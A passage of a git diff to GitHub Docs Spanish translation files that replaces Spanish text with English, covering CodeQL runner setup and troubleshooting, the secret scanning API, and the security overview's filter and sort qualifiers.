%}. -Para ambos comandos, debes especificar la URL de {% data variables.product.product_name %}, el *PROPIETARIO/NOMBRE* del repositorio, y el token de {% data variables.product.prodname_github_apps %} o de acceso personal a utilizar para la autenticación. También necesitas especificar la ubicación del paquete de CodeQL, a menos de que el servidor de IC tenga acceso para descargarlo directamente del repositorio de `github/codeql-action`. +For both commands, you must specify the URL of {% data variables.product.product_name %}, the repository *OWNER/NAME*, and the {% data variables.product.prodname_github_apps %} or personal access token to use for authentication. You also need to specify the location of the CodeQL bundle, unless the CI server has access to download it directly from the `github/codeql-action` repository. -Puedes configurar la ubicación en la que {% data variables.product.prodname_codeql_runner %} almacenará el paquete de CodeQL para un análisis futuro un un servidor utilizando el marcador `--tools-dir` , así como en dónde almacena archivos temporales utilizando el marcador `--temp-dir`. +You can configure where the {% data variables.product.prodname_codeql_runner %} stores the CodeQL bundle for future analysis on a server using the `--tools-dir` flag and where it stores temporary files during analysis using `--temp-dir`. -Para ver la referencia de línea de comandos para el ejecutor, utiliza el marcador `-h`. Por ejemplo, para listar todos los comandos, ejecuta: `codeql-runner-OS -h`, o para listar todos los marcadores disponibles para el comando `init`, ejecuta: `codeql-runner-OS init -h` (en donde el `OS` variará de acuerdo con el ejecutable que estés utilizando). Para obtener más información, consulta la sección "[Configurar el {% data variables.product.prodname_code_scanning %} en tu sistema de IC](/code-security/secure-coding/configuring-codeql-runner-in-your-ci-system#codeql-runner-command-reference)". +To view the command-line reference for the runner, use the `-h` flag. For example, to list all commands run: `codeql-runner-OS -h`, or to list all the flags available for the `init` command run: `codeql-runner-OS init -h` (where `OS` varies according to the executable that you are using). For more information, see "[Configuring {% data variables.product.prodname_code_scanning %} in your CI system](/code-security/secure-coding/configuring-codeql-runner-in-your-ci-system#codeql-runner-command-reference)." {% data reusables.code-scanning.upload-sarif-alert-limit %} -### Ejemplo básico +### Basic example -Este ejemplo ejecuta un análisis de {% data variables.product.prodname_codeql %} en un servidor de IC con Linux para el repositorio de `octo-org/example-repo` en `{% data variables.command_line.git_url_example %}`. El proceso es muy simple, ya que el repositorio contiene únicamente los lenguajes que puede analizar {% data variables.product.prodname_codeql %} directamente, sin que se tenga que compilar (es decir, Go, JavaScript, Python, y TypeScript). +This example runs {% data variables.product.prodname_codeql %} analysis on a Linux CI server for the `octo-org/example-repo` repository hosted on `{% data variables.command_line.git_url_example %}`. The process is very simple because the repository contains only languages that can be analyzed by {% data variables.product.prodname_codeql %} directly, without being built (that is, Go, JavaScript, Python, and TypeScript). -En este ejemplo, el servidor tiene acceso para descargar el paquete de {% data variables.product.prodname_codeql %} directamente desde el repositorio `github/codeql-action`, así que no hay necesidad de utilizar el marcador `--codeql-path`. +In this example, the server has access to download the {% data variables.product.prodname_codeql %} bundle directly from the `github/codeql-action` repository, so there is no need to use the `--codeql-path` flag. -1. Verifica el repositorio a analizar. -1. Posiciónate en el directorio donde se seleccionó el repositorio. -1. Inicializa el {% data variables.product.prodname_codeql_runner %} y crea bases de datos de {% data variables.product.prodname_codeql %} para los lenguajes detectados. +1. Check out the repository to analyze. +1. Move into the directory where the repository is checked out. +1. Initialize the {% data variables.product.prodname_codeql_runner %} and create {% data variables.product.prodname_codeql %} databases for the languages detected. {% ifversion ghes < 3.1 %} ```shell @@ -138,13 +138,13 @@ En este ejemplo, el servidor tiene acceso para descargar el paquete de {% data v {% data reusables.code-scanning.codeql-runner-analyze-example %} -### Ejemplo de lenguaje compilado +### Compiled language example -Este ejemplo es similar al anterior, sin embargo, esta vez el repositorio tiene código en C/C++, C#, o Java. Para crear una base de datos de {% data variables.product.prodname_codeql %} para estos lenguajes, el CLI necesita monitorear la compilación. Al final del proceso de inicialización, el ejecutor reportará el comando que necesitas configurar en el ambiente antes de compilar el código. Necesitas ejecutar este comando antes de llamar al proceso normal de compilación de IC y luego ejecutar el comando `analyze`. +This example is similar to the previous example, however this time the repository has code in C/C++, C#, or Java. To create a {% data variables.product.prodname_codeql %} database for these languages, the CLI needs to monitor the build. At the end of the initialization process, the runner reports the command you need to set up the environment before building the code. You need to run this command, before calling the normal CI build process, and then running the `analyze` command. -1. Verifica el repositorio a analizar. -1. Posiciónate en el directorio donde se seleccionó el repositorio. -1. Inicializa el {% data variables.product.prodname_codeql_runner %} y crea bases de datos de {% data variables.product.prodname_codeql %} para los lenguajes detectados. +1. Check out the repository to analyze. +1. Move into the directory where the repository is checked out. +1. Initialize the {% data variables.product.prodname_codeql_runner %} and create {% data variables.product.prodname_codeql %} databases for the languages detected. {% ifversion ghes < 3.1 %} ```shell $ /path/to-runner/codeql-runner-linux init --repository octo-org/example-repo-2 @@ -162,23 +162,23 @@ Este ejemplo es similar al anterior, sin embargo, esta vez el repositorio tiene ". /srv/checkout/example-repo-2/codeql-runner/codeql-env.sh". ``` {% endif %} -1. Proporciona el script que generó la acción `init` para configurar el ambiente para monitorear la compilación. Toma en cuenta el primer punto y espacio en el siguiente extracto de código. +1. Source the script generated by the `init` action to set up the environment to monitor the build. Note the leading dot and space in the following code snippet. ```shell $ . /srv/checkout/example-repo-2/codeql-runner/codeql-env.sh ``` -1. Compila el código. En macOS, necesitarás agregar un prefijo al comando de la compilación con la variable de ambiente `$CODEQL_RUNNER`. Para obtener más información, consulta la sección "[Solución de problemas para el {% data variables.product.prodname_codeql_runner %} en tu sistema de IC](/code-security/secure-coding/troubleshooting-codeql-runner-in-your-ci-system#no-code-found-during-the-build)". +1. Build the code. On macOS, you need to prefix the build command with the environment variable `$CODEQL_RUNNER`. For more information, see "[Troubleshooting {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/troubleshooting-codeql-runner-in-your-ci-system#no-code-found-during-the-build)." {% data reusables.code-scanning.codeql-runner-analyze-example %} {% note %} -**Nota:** Si utilizas una compilación que usa contenedores, necesitarás ejecutar el {% data variables.product.prodname_codeql_runner %} en el contenedor donde toma lugar tu tarea de compilaión. +**Note:** If you use a containerized build, you need to run the {% data variables.product.prodname_codeql_runner %} in the container where your build task takes place. {% endnote %} -## Leer más +## Further reading -- "[Configurar el {% data variables.product.prodname_codeql_runner %} en tu sistema](/code-security/secure-coding/configuring-codeql-runner-in-your-ci-system)" -- "[Solucionar problemas del {% data variables.product.prodname_codeql_runner %} en tu sistema de IC](/code-security/secure-coding/troubleshooting-codeql-runner-in-your-ci-system)" +- "[Configuring {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/configuring-codeql-runner-in-your-ci-system)" +- "[Troubleshooting {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/troubleshooting-codeql-runner-in-your-ci-system)" diff --git a/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/troubleshooting-codeql-runner-in-your-ci-system.md b/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/troubleshooting-codeql-runner-in-your-ci-system.md index 934b1579fd..accdd7ebbb 100644 --- a/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/troubleshooting-codeql-runner-in-your-ci-system.md +++ b/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/troubleshooting-codeql-runner-in-your-ci-system.md @@ -1,7 +1,7 @@ --- -title: Solucionar problemas del ejecutor de CodeQL en tu sistema de IC -shortTitle: Solucionar problemas del ejecutor de CodeQL -intro: 'Si estás teniendo problemas con el {% data variables.product.prodname_codeql_runner %}, puedes solucionarlos si utilizas estos tips.' +title: Troubleshooting CodeQL runner in your CI system +shortTitle: Troubleshoot CodeQL runner +intro: 'If you''re having problems with the {% data variables.product.prodname_codeql_runner %}, you can troubleshoot by using these tips.' product: '{% data reusables.gated-features.code-scanning %}' redirect_from: - /github/finding-security-vulnerabilities-and-errors-in-your-code/troubleshooting-code-scanning-in-your-ci-system @@ -23,49 +23,50 @@ topics: - Integration - CI --- - {% data reusables.code-scanning.deprecation-codeql-runner %} {% data reusables.code-scanning.beta %} {% data reusables.code-scanning.not-available %} -## El comando `init` tarda demasiado +## The `init` command takes too long -Antes de que el {% data variables.product.prodname_codeql_runner %} pueda compilar y analizar código, necesita tener acceso al paquete de {% data variables.product.prodname_codeql %}, el cual contiene el CLI y las bibliotecas de {% data variables.product.prodname_codeql %}. +Before the {% data variables.product.prodname_codeql_runner %} can build and analyze code, it needs access to the {% data variables.product.prodname_codeql %} bundle, which contains the {% data variables.product.prodname_codeql %} CLI and the {% data variables.product.prodname_codeql %} libraries. -Cuando utilizas el {% data variables.product.prodname_codeql_runner %} por primera vez en tu máquina, el comando `init` descargará el paquete de {% data variables.product.prodname_codeql %} a tu máquina. Esta descarga puede demorar algunos minutos. El paquete de {% data variables.product.prodname_codeql %} se guarda en el caché entre las ejecuciones, así que si utilizas el {% data variables.product.prodname_codeql_runner %} nuevamente en la misma máquina, no descargará el paquete de {% data variables.product.prodname_codeql %} nuevamente. +When you use the {% data variables.product.prodname_codeql_runner %} for the first time on your machine, the `init` command downloads the {% data variables.product.prodname_codeql %} bundle to your machine. This download can take a few minutes. +The {% data variables.product.prodname_codeql %} bundle is cached between runs, so if you use the {% data variables.product.prodname_codeql_runner %} again on the same machine, it won't download the {% data variables.product.prodname_codeql %} bundle again. -Para evitar esta descarga automática, puedes descargar manualmente el paquete de {% data variables.product.prodname_codeql %} a tu máquina ye specifica la ruta utilizando el marcador de `--codeql-path` del comando `init`. +To avoid this automatic download, you can manually download the {% data variables.product.prodname_codeql %} bundle to your machine and specify the path using the `--codeql-path` flag of the `init` command. -## No se encontró código durante la compilación +## No code found during the build -Si el comando `analyze` para el {% data variables.product.prodname_codeql_runner %} falla con un error de `No source code was seen during the build`, esto indica que {% data variables.product.prodname_codeql %} no pudo monitorear tu código. Hay muchas razones que podrían explicar esta falla. +If the `analyze` command for the {% data variables.product.prodname_codeql_runner %} fails with an error `No source code was seen during the build`, this indicates that {% data variables.product.prodname_codeql %} was unable to monitor your code. Several reasons can explain such a failure. -1. La detección automática del lenguaje identificó un lenguaje compatible, pero no hay código analizable en dicho lenguaje dentro del repositorio. Un ejemplo típico es cuando nuestro servicio de detección de lenguaje encuentra un archivo que se asocia con un lenguaje de programación específico como un archivo `.h`, o `.gyp`, pero no existe el código ejecutable correspondiente a dicho lenguaje en el repositorio. Para resolver el problema, puedes definir manualmente los lenguajes que quieres analizar si utilizas el marcador `--languages` del comando `init`. Para obtener más información, consulta la sección "[Configurar el {% data variables.product.prodname_codeql_runner %} en tu sistema de IC](/code-security/secure-coding/configuring-codeql-runner-in-your-ci-system)". +1. Automatic language detection identified a supported language, but there is no analyzable code of that language in the repository. A typical example is when our language detection service finds a file associated with a particular programming language like a `.h`, or `.gyp` file, but no corresponding executable code is present in the repository. To solve the problem, you can manually define the languages you want to analyze by using the `--languages` flag of the `init` command. For more information, see "[Configuring {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/configuring-codeql-runner-in-your-ci-system)." -1. Estás analizando un lenguaje compilado sin utilizar el comando `autobuild` y ejecutaste los pasos de compilación después del paso `init`. Para que funcione la compilación, debes configurar el ambiente para que el {% data variables.product.prodname_codeql_runner %} pueda monitorear el proceso de compilación. El comando `init` genera instrucciones de cómo exportar las variables de ambiente requeridas, así que puedes copiar y ejecutar el script después de que has ejecutado el comando `init`. - - En macOS y Linux: +1. You're analyzing a compiled language without using the `autobuild` command and you run the build steps yourself after the `init` step. For the build to work, you must set up the environment such that the {% data variables.product.prodname_codeql_runner %} can monitor the build process. The `init` command generates instructions for how to export the required environment variables, so you can copy and run the script after you've run the `init` command. + - On macOS and Linux: ```shell $ . codeql-runner/codeql-env.sh ``` - - En Windows, utilizando el shell de comandos (`cmd`) o un archivo de lote (`.bat`): + - On Windows, using the Command shell (`cmd`) or a batch file (`.bat`): ```shell > call codeql-runner\codeql-env.bat ``` - - En Windows, utilizando PowerShell: + - On Windows, using PowerShell: ```shell > cat codeql-runner\codeql-env.sh | Invoke-Expression ``` - Las variables de ambiente también se almacenan en el archivo `codeql-runner/codeql-env.json`. Este archivo contiene solo un objeto de JSON que mapea las claves de variable de ambiente a valores. Si no puedes ejecutar el script que generó el comando `init`, entonces puedes utilizar los datos en formato JSON. + The environment variables are also stored in the file `codeql-runner/codeql-env.json`. This file contains a single JSON object which maps environment variable keys to values. If you can't run the script generated by the `init` command, then you can use the data in JSON format instead. {% note %} - **Nota:** Si utilizaste el marcador `--temp-dir` flag del comando `init` para especificar un directorio personalizado para los archivos temporales, la ruta hacia los archivos de `codeql-env` podría ser diferente. + **Note:** If you used the `--temp-dir` flag of the `init` command to specify a custom directory for temporary files, the path to the `codeql-env` files might be different. {% endnote %} -1. Estás analizando un lenguaje compilado en macOS sin utilizar el comando `autobuild` y ejecutas los pasos de compilación tú mismo después del paso `init`. Si está habilitada la SIP (Protección Integral del Sistema, por sus siglas en inglés), que es lo predeterminado en las versiones más recientes de OSX, el análisis podría fallar. Para arreglar esto, usa un prefijo en el comando de la compilación con la variable de ambiente `$CODEQL_RUNNER`. Por ejemplo, si tu comando de compilación es `cmd arg1 arg2`, debes ejecutar `$CODEQL_RUNNER cmd arg1 arg2`. +1. You're analyzing a compiled language on macOS without using the `autobuild` command and you run the build steps yourself after the `init` step. If SIP (System Integrity Protection) is enabled, which is the default on recent versions of OSX, analysis might fail. To fix this, prefix the build command with the `$CODEQL_RUNNER` environment variable. + For example, if your build command is `cmd arg1 arg2`, you should run `$CODEQL_RUNNER cmd arg1 arg2`. -1. El código se compila en un contenedor o en una máquina independiente. Si utilizas una compilación que ya esté en un contenedor o si terciarizas la compilación a otra máquina, asegúrate de ejecutar el {% data variables.product.prodname_codeql_runner %} en el contenedor o en la máquina en donde toma lugar tu tarea de compilación. Para obtener más información, consulta la sección "[Ejecutar el escaneo de código de CodeQL en un contenedor](/code-security/secure-coding/running-codeql-code-scanning-in-a-container)". +1. The code is built in a container or on a separate machine. If you use a containerized build or if you outsource the build to another machine, make sure to run the {% data variables.product.prodname_codeql_runner %} in the container or on the machine where your build task takes place. For more information, see "[Running CodeQL code scanning in a container](/code-security/secure-coding/running-codeql-code-scanning-in-a-container)." diff --git a/translations/es-ES/content/code-security/secret-scanning/about-secret-scanning.md b/translations/es-ES/content/code-security/secret-scanning/about-secret-scanning.md index 7d62a67574..870dca2229 100644 --- a/translations/es-ES/content/code-security/secret-scanning/about-secret-scanning.md +++ b/translations/es-ES/content/code-security/secret-scanning/about-secret-scanning.md @@ -72,7 +72,7 @@ For more information about viewing and resolving {% data variables.product.prodn Repository administrators and organization owners can grant users and teams access to {% data variables.product.prodname_secret_scanning %} alerts. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)." {% ifversion fpt or ghes > 3.0 or ghec %} -To monitor results from {% data variables.product.prodname_secret_scanning %} across your private repositories or your organization, you can use the {% data variables.product.prodname_secret_scanning %} API. For more information about API endpoints, see "[{% data variables.product.prodname_secret_scanning_caps %}](/rest/reference/secret-scanning)."{% endif %} +To monitor results from {% data variables.product.prodname_secret_scanning %} across your {% ifversion fpt or ghec %}private {% endif %}repositories{% ifversion ghes > 3.1 %} or your organization{% endif %}, you can use the {% data variables.product.prodname_secret_scanning %} API. For more information about API endpoints, see "[{% data variables.product.prodname_secret_scanning_caps %}](/rest/reference/secret-scanning)."{% endif %} {% ifversion ghes or ghae %} ## List of supported secrets{% else %} diff --git a/translations/es-ES/content/code-security/security-overview/about-the-security-overview.md b/translations/es-ES/content/code-security/security-overview/about-the-security-overview.md index 0f6ef1c74d..15013c110e 100644 --- a/translations/es-ES/content/code-security/security-overview/about-the-security-overview.md +++ b/translations/es-ES/content/code-security/security-overview/about-the-security-overview.md @@ -1,6 +1,6 @@ --- -title: Acerca del resumen de seguridad -intro: 'Puedes ver, filtrar y clasificar las alertas de seguridad para los repositorios que pertenezcan a tu organización o equipo en un solo lugar: la página de Resumen de Seguridad.' +title: About the security overview +intro: 'You can view, filter, and sort security alerts for repositories owned by your organization or team in one place: the Security Overview page.' product: '{% data reusables.gated-features.security-center %}' redirect_from: - /code-security/security-overview/exploring-security-alerts @@ -16,51 +16,52 @@ topics: - Alerts - Organizations - Teams -shortTitle: Acerca del resumen de seguridad +shortTitle: About security overview --- {% data reusables.security-center.beta %} -## Acerca del resumen de seguridad +## About the security overview -Puedes utilizar el resumen de seguirdad para tener una vista de nivel alto del estado de seguridad de tu organización o para identificar repositorios problemáticos que requieren intervención. A nivel organizacional, el resumen de seguridad muestra seguridad agregada y específica del repositorio para aquellos que pertenezcan a tu organización. A nivel de equipo, el resumen de seguridad muestra la información de seguridad específica del repositorio para aquellos en los que el equipo tenga privilegios de administración. Para obtener más información, consulta la sección "[Administrar el acceso de un equipo a un repositorio organizacional](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)". +You can use the security overview for a high-level view of the security status of your organization or to identify problematic repositories that require intervention. At the organization-level, the security overview displays aggregate and repository-specific security information for repositories owned by your organization. At the team-level, the security overview displays repository-specific security information for repositories that the team has admin privileges for. For more information, see "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)." The security overview indicates whether {% ifversion fpt or ghes > 3.1 or ghec %}security{% endif %}{% ifversion ghae-next %}{% data variables.product.prodname_GH_advanced_security %}{% endif %} features are enabled for repositories owned by your organization and consolidates alerts for each feature.{% ifversion fpt or ghes > 3.1 or ghec %} Security features include {% data variables.product.prodname_GH_advanced_security %} features, such as {% data variables.product.prodname_code_scanning %} and {% data variables.product.prodname_secret_scanning %}, as well as {% data variables.product.prodname_dependabot_alerts %}.{% endif %} For more information about {% data variables.product.prodname_GH_advanced_security %} features, see "[About {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)."{% ifversion fpt or ghes > 3.1 or ghec %} For more information about {% data variables.product.prodname_dependabot_alerts %}, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies#dependabot-alerts-for-vulnerable-dependencies)."{% endif %} -Para obtener más información sobre cómo proteger tu código a nivel de repositorio u organización, consulta las secciones "[Proteger tu repositorio](/code-security/getting-started/securing-your-repository)" y "[Proteger tu organización](/code-security/getting-started/securing-your-organization)". +For more information about securing your code at the repository and organization levels, see "[Securing your repository](/code-security/getting-started/securing-your-repository)" and "[Securing your organization](/code-security/getting-started/securing-your-organization)." -En el resumen de seguridad, puedes ver, clasificar y filtrar las alertas para entender los riesgos de seguridad en tu organización y en los repositorios específicos. Puedes aplicar varios filtros para enfocarte en áreas de interés. Por ejemplo, puedes identificar repositorios privados que tengan una gran cantidad de {% data variables.product.prodname_dependabot_alerts %} o repositorios que no tengan alertas del {% data variables.product.prodname_code_scanning %}. +In the security overview, you can view, sort, and filter alerts to understand the security risks in your organization and in specific repositories. You can apply multiple filters to focus on areas of interest. For example, you can identify private repositories that have a high number of {% data variables.product.prodname_dependabot_alerts %} or repositories that have no {% data variables.product.prodname_code_scanning %} alerts. -![El resumen de seguridad para una organziación](/assets/images/help/organizations/security-overview.png) +![The security overview for an organization](/assets/images/help/organizations/security-overview.png) -Para cada repositorio en el resumen de seguridad, verás iconos de cada tipo de característica de seguridad y cuántas alertas hay para cada tipo. Si no se habilita una característica de seguridad para un repositorio, su icono se mostrará en gris. +For each repository in the security overview, you will see icons for each type of security feature and how many alerts there are of each type. If a security feature is not enabled for a repository, the icon for that feature will be grayed out. -![Los iconos en el resumen de seguridad](/assets/images/help/organizations/security-overview-icons.png) +![Icons in the security overview](/assets/images/help/organizations/security-overview-icons.png) -| Icono | Significado | -| ------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| {% octicon "code-square" aria-label="Code scanning alerts" %} | Alertas de {% data variables.product.prodname_code_scanning_capc %}. Para obtener más información, consulta la sección "[Acerca del {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-code-scanning)". | -| {% octicon "key" aria-label="Secret scanning alerts" %} | alertas del {% data variables.product.prodname_secret_scanning_caps %}. Para obtener más información, consulta la sección "[Acerca del {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/about-secret-scanning)". | -| {% octicon "hubot" aria-label="Dependabot alerts" %} | {% data variables.product.prodname_dependabot_alerts %}. Para obtener más información, consulta la sección "[Acerca de las alertas para las dependencias vulnerables](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)". | -| {% octicon "check" aria-label="Check" %} | La característica de seguridad se habilitó pero no levanta alertas en este repositorio. | -| {% octicon "x" aria-label="x" %} | La característica de seguridad no es compatible con este repositorio. | +| Icon | Meaning | +| -------- | -------- | +| {% octicon "code-square" aria-label="Code scanning alerts" %} | {% data variables.product.prodname_code_scanning_capc %} alerts. For more information, see "[About {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-code-scanning)." | +| {% octicon "key" aria-label="Secret scanning alerts" %} | {% data variables.product.prodname_secret_scanning_caps %} alerts. For more information, see "[About {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/about-secret-scanning)." | +| {% octicon "hubot" aria-label="Dependabot alerts" %} | {% data variables.product.prodname_dependabot_alerts %}. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)." | +| {% octicon "check" aria-label="Check" %} | The security feature is enabled, but does not raise alerts in this repository. | +| {% octicon "x" aria-label="x" %} | The security feature is not supported in this repository. | -Predeterminadamente, los repositorios archivados se excluyen del resumen de seguridad de una organización. Puedes aplicar filtros para ver los repositorios archivados en el resumen de seguridad. Para obtener más información, consulta la sección "[Filtrar la lista de alertas](#filtering-the-list-of-alerts)". +By default, archived repositories are excluded from the security overview for an organization. You can apply filters to view archived repositories in the security overview. For more information, see "[Filtering the list of alerts](#filtering-the-list-of-alerts)." -El resumen de seguridad muestra alertas activas que levantan las características de seguridad. Si no hay alertas en el resumen de seguridad de un repositorio, las vulnerabilidades de seguridad no detectadas o los errores de código podrían aún existir. +The security overview displays active alerts raised by security features. If there are no alerts in the security overview for a repository, undetected security vulnerabilities or code errors may still exist. -## Visualizar el resumen de seguridad de una organización +## Viewing the security overview for an organization -Los propietarios de las organizaciones pueden ver el resumen de seguridad de estas. +Organization owners can view the security overview for an organization. {% data reusables.organizations.navigate-to-org %} {% data reusables.organizations.security-overview %} -1. Para ver la información agregada sobre los tipos de alerta, haz clic en **Mostrar más**. ![Botón de mostrar más](/assets/images/help/organizations/security-overview-show-more-button.png) +1. To view aggregate information about alert types, click **Show more**. + ![Show more button](/assets/images/help/organizations/security-overview-show-more-button.png) {% data reusables.organizations.filter-security-overview %} -## Visualizar el resumen de seguridad de un equipo +## Viewing the security overview for a team -Los miembros de un equipo pueden ver el resumen de seguridad de los repositorios para los cuales dicho equipo tiene privilegios administrativos. +Members of a team can see the security overview for repositories that the team has admin privileges for. {% data reusables.profile.access_org %} {% data reusables.user_settings.access_org %} @@ -68,61 +69,70 @@ Los miembros de un equipo pueden ver el resumen de seguridad de los repositorios {% data reusables.organizations.team-security-overview %} {% data reusables.organizations.filter-security-overview %} -## Filtrar la lista de alertas +## Filtering the list of alerts -### Filtrar por nivel de riesgo para los repositorios +### Filter by level of risk for repositories -El nivel de riesgo de un repositorio se determina por la cantidad y severidad de las alertas de las características de seguridad. Si no están habilitadas una o más características de seguridad para un repositorio, este tendrá un nivel de riesgo desconocido. Si un repositorio no tiene riesgos que detecten las características de seguridad, este tendrá un nivel de riesgo claro. +The level of risk for a repository is determined by the number and severity of alerts from security features. If one or more security features are not enabled for a repository, the repository will have an unknown level of risk. If a repository has no risks that are detected by security features, the repository will have a clear level of risk. -| Qualifier | Descripción | -| -------------- | -------------------------------------------------------------------- | -| `risk:high` | Muestra los repositorios que tienen un riesgo alto. | -| `risk:medium` | Muestra los repositorios que tienen un riesgo medio. | -| `risk:low` | Muestra los repositorios que tienen un nivel de riesgo bajo. | -| `risk:unknown` | Muestra los repositorios que tienen un nivel de riesgo desconocido. | -| `risk:clear` | Muestra los repositorios que no tienen un nivel de riesgo detectado. | +| Qualifier | Description | +| -------- | -------- | +| `risk:high` | Display repositories that are at high risk. | +| `risk:medium` | Display repositories that are at medium risk. | +| `risk:low` | Display repositories that are at low risk. | +| `risk:unknown` | Display repositories that are at an unknown level of risk. | +| `risk:clear` | Display repositories that have no detected level of risk. | -### Filtra por cantidad de alertas +### Filter by number of alerts -| Qualifier | Descripción | -| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| code-scanning-alerts:n | Muestra los repositorios que tienen *n* alertas del {% data variables.product.prodname_code_scanning %}. Este calificador puede utilizar los operadores de comparación > y <. | -| secret-scanning-alerts:n | Muestra los repositorios que tienen *n* alertas del {% data variables.product.prodname_secret_scanning %}. Este calificador puede utilizar los operadores de comparación > y <. | -| dependabot-alerts:n | Muestra los repositorios que tienen *n* {% data variables.product.prodname_dependabot_alerts %}. Este calificador puede utilizar los operadores de comparación > y <. | +| Qualifier | Description | +| -------- | -------- | +| code-scanning-alerts:n | Display repositories that have *n* {% data variables.product.prodname_code_scanning %} alerts. This qualifier can use > and < comparison operators. | +| secret-scanning-alerts:n | Display repositories that have *n* {% data variables.product.prodname_secret_scanning %} alerts. This qualifier can use > and < comparison operators. | +| dependabot-alerts:n | Display repositories that have *n* {% data variables.product.prodname_dependabot_alerts %}. This qualifier can use > and < comparison operators. | -### Filtrar por el criterio de tener habilitadas las características de seguridad +### Filter by whether security features are enabled -| Qualifier | Descripción | -| ------------------------------- | ----------------------------------------------------------------------------------------------------------------- | -| `enabled:code-scanning` | Muestra los repositorios que tienen habilitado el {% data variables.product.prodname_code_scanning %}. | -| `not-enabled:code-scanning` | Muestra los repositorios que no tienen habilitado el {% data variables.product.prodname_code_scanning %}. | -| `enabled:secret-scanning` | Muestra los repositorios que tienen habilitado el {% data variables.product.prodname_secret_scanning %}. | -| `not-enabled:secret-scanning` | Muestra los repositorios que tienen habilitado el {% data variables.product.prodname_secret_scanning %}. | -| `enabled:dependabot-alerts` | Muestra los repositorios que tienen habilitadas las {% data variables.product.prodname_dependabot_alerts %}. | -| `not-enabled:dependabot-alerts` | Muestra los repositorios que no tienen habilitadas las {% data variables.product.prodname_dependabot_alerts %}. | +| Qualifier | Description | +| -------- | -------- | +| `enabled:code-scanning` | Display repositories that have {% data variables.product.prodname_code_scanning %} enabled. | +| `not-enabled:code-scanning` | Display repositories that do not have {% data variables.product.prodname_code_scanning %} enabled. | +| `enabled:secret-scanning` | Display repositories that have {% data variables.product.prodname_secret_scanning %} enabled. | +| `not-enabled:secret-scanning` | Display repositories that have {% data variables.product.prodname_secret_scanning %} enabled. | +| `enabled:dependabot-alerts` | Display repositories that have {% data variables.product.prodname_dependabot_alerts %} enabled. | +| `not-enabled:dependabot-alerts` | Display repositories that do not have {% data variables.product.prodname_dependabot_alerts %} enabled. | -### Filtrar por tipo de repositorio +### Filter by repository type -| Qualifier | Description | | -------- | -------- |{% ifversion fpt or ghes > 3.1 or ghec %} | `is:public` | Display public repositories. |{% endif %} | `is:internal` | Muestra repositorios internos. | | `is:private` | Muestra repositorios privados. | | `archived:true` | Muestra repositorios archivados. | +| Qualifier | Description | +| -------- | -------- | +{%- ifversion fpt or ghes > 3.1 or ghec %} +| `is:public` | Display public repositories. | +{% elsif ghes or ghec or ghae %} +| `is:internal` | Display internal repositories. | +{%- endif %} +| `is:private` | Display private repositories. | +| `archived:true` | Display archived repositories. | +| `archived:true` | Display archived repositories. | -### Filtrar por equipo +### Filter by team -| Qualifier | Descripción | -| ------------------------- | ---------------------------------------------------------------------------------- | -| team:TEAM-NAME | Muestra los repositorios en los que *TEAM-NAME* tiene privilegios administrativos. | +| Qualifier | Description | +| -------- | -------- | +| team:TEAM-NAME | Displays repositories that *TEAM-NAME* has admin privileges for. | -### Filtrar por tema +### Filter by topic -| Qualifier | Descripción | -| ------------------------- | ------------------------------------------------------------ | -| topic:TOPIC-NAME | Muestra los repositorios que se clasifican con *TOPIC-NAME*. | +| Qualifier | Description | +| -------- | -------- | +| topic:TOPIC-NAME | Displays repositories that are classified with *TOPIC-NAME*. | -### Clasifica la lista de alertas +### Sort the list of alerts -| Qualifier | Descripción | -| ----------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------- | -| `sort:risk` | Clasifica los repositorios por riesgo en tu resumen de seguridad. | -| `sort:repos` | Clasifica los repositorios en tu resumen de seguridad por órden alfabético de nombre. | -| `sort:code-scanning-alerts` | Clasifica los repositorios en tu resumen de seguridad por la cantidad de alertas del {% data variables.product.prodname_code_scanning %}. | -| `sort:secret-scanning-alerts` | Clasifica los repositorios en tu resumen de seguridad por la cantidad de alertas del {% data variables.product.prodname_secret_scanning %}. | -| `sort:dependabot-alerts` | Clasifica los repositorios en tu resumen de seguridad por cantidad de {% data variables.product.prodname_dependabot_alerts %}. | +| Qualifier | Description | +| -------- | -------- | +| `sort:risk` | Sorts the repositories in your security overview by risk. | +| `sort:repos` | Sorts the repositories in your security overview alphabetically by name. | +| `sort:code-scanning-alerts` | Sorts the repositories in your security overview by number of {% data variables.product.prodname_code_scanning %} alerts. | +| `sort:secret-scanning-alerts` | Sorts the repositories in your security overview by number of {% data variables.product.prodname_secret_scanning %} alerts. | +| `sort:dependabot-alerts` | Sorts the repositories in your security overview by number of {% data variables.product.prodname_dependabot_alerts %}. | diff --git a/translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions.md b/translations/es-ES/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions.md index b62275e4e3..9d3a2c3ed5 100644 --- 